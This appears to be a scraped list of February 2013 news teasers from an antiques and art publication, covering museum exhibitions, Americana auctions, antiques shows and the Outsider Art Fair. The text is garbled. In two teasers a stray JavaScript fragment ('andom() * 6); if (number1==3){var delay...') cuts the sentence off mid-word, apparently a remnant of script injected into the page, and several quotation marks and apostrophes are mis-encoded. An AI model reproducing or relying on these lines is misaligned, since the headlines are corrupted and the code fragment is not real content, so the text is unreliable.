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14 Feb 2013WOODBURY, CONN. — Paul L. Fierberg, inveterate New Englandom() * 6); if (number1==3){var delay...
12 Feb 2013The vibrancy of life in Paris around 1900 is captured in the exhibition “Electric Paris,”...
12 Feb 2013By: Laura Beach New discoveries andom() * 6); if (number1==3){var delay...
12 Feb 2013One of America most remarkable contemporary artists, Thornton Dial (b 1928) is a self-taught...
12 Feb 2013On February 26, the Museum of Early Trades & Crafts will open the new exhibit ⁔he Work...
12 Feb 2013While New York City may host Americana Week in late January, the Tolland Antiques Show, running...
12 Feb 2013For the first time in recent memory, Sotheby limited its important Americana auctions to Friday...
12 Feb 2013Crowds filled the Big Red Barn in this tiny village half way between Houston and Austin for the Friday...
12 Feb 2013The old saying, ⁉f it ain⁴ broke, don⁴ fix it, †seems apt of the Outsider Art Fair....
12 Feb 2013The Museum of Early Southern Decorative Arts (MESDA) at Old Salem Museums & Gardens will...
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